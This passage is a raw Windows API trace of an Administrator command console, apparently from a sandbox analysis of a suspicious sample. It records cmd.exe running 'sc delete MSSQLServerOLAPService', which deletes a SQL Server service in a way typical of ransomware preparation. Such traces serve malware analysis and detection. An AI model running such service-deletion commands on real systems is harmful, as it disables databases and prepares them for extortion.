cchWideChar=1 | out: lpWideCharStr="\n\n") returned 1 [0065.746] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.746] GetFileType (hFile=0xb8) returned 0x3 [0065.746] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.746] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.746] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.746] GetFileType (hFile=0x120) returned 0x3 [0065.747] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.747] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MSSQLServerOLAPService\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MSSQLServerOLAPService\n", lpUsedDefaultChar=0x0) returned 34 [0065.747] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x21, lpOverlapped=0x0) returned 1 [0065.747] GetProcessHeap () returned 0x1b0000 [0065.747] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0065.747] GetProcessHeap () returned 0x1b0000 [0065.747] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0065.747] GetProcessHeap () returned 0x1b0000 [0065.747] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0065.747] GetProcessHeap () returned 0x1b0000 [0065.747] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0065.747] GetProcessHeap () returned 0x1b0000 [0065.747] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4e) returned 0x1cba10 [0065.748] GetConsoleOutputCP () returned 0x1b5 [0065.748] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.748] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.748] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.748] GetProcessHeap () returned 0x1b0000 [0065.748] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0065.748] GetProcessHeap () returned 0x1b0000 [0065.748] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x54) returned 0x1c9b30 [0065.748] GetProcessHeap () returned 0x1b0000 [0065.748] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0065.748] SetErrorMode (uMode=0x0) returned 0x1 [0065.748] SetErrorMode (uMode=0x1) returned 0x0 [0065.749] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0065.749] SetErrorMode (uMode=0x1) returned 0x1 [0065.749] GetProcessHeap () returned 0x1b0000 [0065.749] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x62) returned 0x1cc5b0 [0065.749] GetProcessHeap () returned 0x1b0000 [0065.749] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x62 [0065.749] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0065.749] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0065.749] GetProcessHeap () returned 0x1b0000 [0065.749] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0065.749] GetProcessHeap () returned 0x1b0000 [0065.749] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0065.749] GetProcessHeap () returned 0x1b0000 [0065.749] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0065.749] GetProcessHeap () returned 0x1b0000 [0065.749] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0065.749] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0065.749] GetProcessHeap () returned 0x1b0000 [0065.749] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c97e0 [0065.749] GetProcessHeap () returned 0x1b0000 [0065.749] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c97e0, Size=0x7e) returned 0x1c97e0 [0065.749] GetProcessHeap () returned 0x1b0000 [0065.749] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c97e0) returned 0x7e [0065.749] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.750] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.750] GetLastError () returned 0x2 [0065.750] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.750] GetLastError () returned 0x2 [0065.750] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.750] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9870 [0065.750] FindClose (in: hFindFile=0x1c9870 | out: hFindFile=0x1c9870) returned 1 [0065.751] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.751] GetLastError () returned 0x2 [0065.751] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9870 [0065.751] FindClose (in: hFindFile=0x1c9870 | out: hFindFile=0x1c9870) returned 1 [0065.751] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0065.751] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0065.751] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.751] GetProcessHeap () returned 0x1b0000 [0065.751] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0065.751] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.751] GetProcessHeap () returned 0x1b0000 [0065.752] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xba) returned 0x1c9180 [0065.752] GetProcessHeap () returned 0x1b0000 [0065.752] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xba [0065.752] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MSSQLServerOLAPService") returned 1 [0065.752] GetProcessHeap () returned 0x1b0000 [0065.752] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0065.752] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0065.752] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0065.752] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0065.753] GetProcessHeap () returned 0x1b0000 [0065.753] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.753] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.754] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0065.754] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0065.754] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0065.754] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0065.754] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0065.754] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0065.754] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0065.754] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0065.754] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0065.754] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0065.754] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0065.754] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0065.754] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0065.754] GetProcessHeap () returned 0x1b0000 [0065.754] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0065.754] GetProcessHeap () returned 0x1b0000 [0065.754] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0065.754] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MSSQLServerOLAPService", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MSSQLServerOLAPService", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete MSSQLServerOLAPService", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0xb40, dwThreadId=0x34c)) returned 1 [0065.758] CloseHandle (hObject=0x54) returned 1 [0065.758] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0065.758] GetProcessHeap () returned 0x1b0000 [0065.758] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0065.758] GetEnvironmentStringsW () returned 0x1d1b10* [0065.758] GetProcessHeap () returned 0x1b0000 [0065.758] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba70 [0065.758] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.758] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0065.759] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd6000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0065.759] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0065.837] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0065.837] CloseHandle (hObject=0x50) returned 1 [0065.837] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0065.837] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0065.837] GetProcessHeap () returned 0x1b0000 [0065.837] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba70 | out: hHeap=0x1b0000) returned 1 [0065.837] GetEnvironmentStringsW () returned 0x1d1b10* [0065.837] GetProcessHeap () returned 0x1b0000 [0065.837] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba70 [0065.837] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.837] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0065.837] GetProcessHeap () returned 0x1b0000 [0065.837] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba70 | out: hHeap=0x1b0000) returned 1 [0065.837] GetEnvironmentStringsW () returned 0x1d1b10* [0065.837] GetProcessHeap () returned 0x1b0000 [0065.837] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba70 [0065.837] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.837] GetProcessHeap () returned 0x1b0000 [0065.837] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0065.837] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0065.838] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0065.838] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.838] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0065.838] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.839] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0065.839] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.839] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0065.839] GetConsoleOutputCP () returned 0x1b5 [0065.839] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.839] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.839] GetProcessHeap () returned 0x1b0000 [0065.839] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0065.839] GetProcessHeap () returned 0x1b0000 [0065.839] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0065.839] GetProcessHeap () returned 0x1b0000 [0065.839] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0065.839] GetProcessHeap () returned 0x1b0000 [0065.840] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0065.840] GetProcessHeap () returned 0x1b0000 [0065.840] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0065.840] GetProcessHeap () returned 0x1b0000 [0065.840] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0065.840] GetProcessHeap () returned 0x1b0000 [0065.840] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0065.840] GetProcessHeap () returned 0x1b0000 [0065.840] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0065.840] GetProcessHeap () returned 0x1b0000 [0065.840] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0065.840] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0065.840] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.841] GetFileType (hFile=0x120) returned 0x3 [0065.841] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0065.841] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0065.841] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0065.841] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0065.841] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0065.841] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0065.841] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.841] GetFileType (hFile=0x120) returned 0x3 [0065.841] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0065.841] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0065.842] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.842] GetFileType (hFile=0xb8) returned 0x3 [0065.842] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.842] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.842] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.842] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete MSSQLServerOLAPService\n\n") returned 1 [0065.842] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.842] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.842] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.842] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete MSSQLServerOLAPService\n\n") returned 1 [0065.842] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.842] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.842] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.842] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete MSSQLServerOLAPService\n\n") returned 1 [0065.842] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.842] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.842] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.842] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete MSSQLServerOLAPService\n\n") returned 1 [0065.842] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.842] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.843] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.843] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete MSSQLServerOLAPService\n\n") returned 1 [0065.843] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.843] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.843] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.843] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete MSSQLServerOLAPService\n\n") returned 1 [0065.843] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.843] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.843] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.843] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete MSSQLServerOLAPService\n\n") returned 1 [0065.843] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.843] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.843] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, 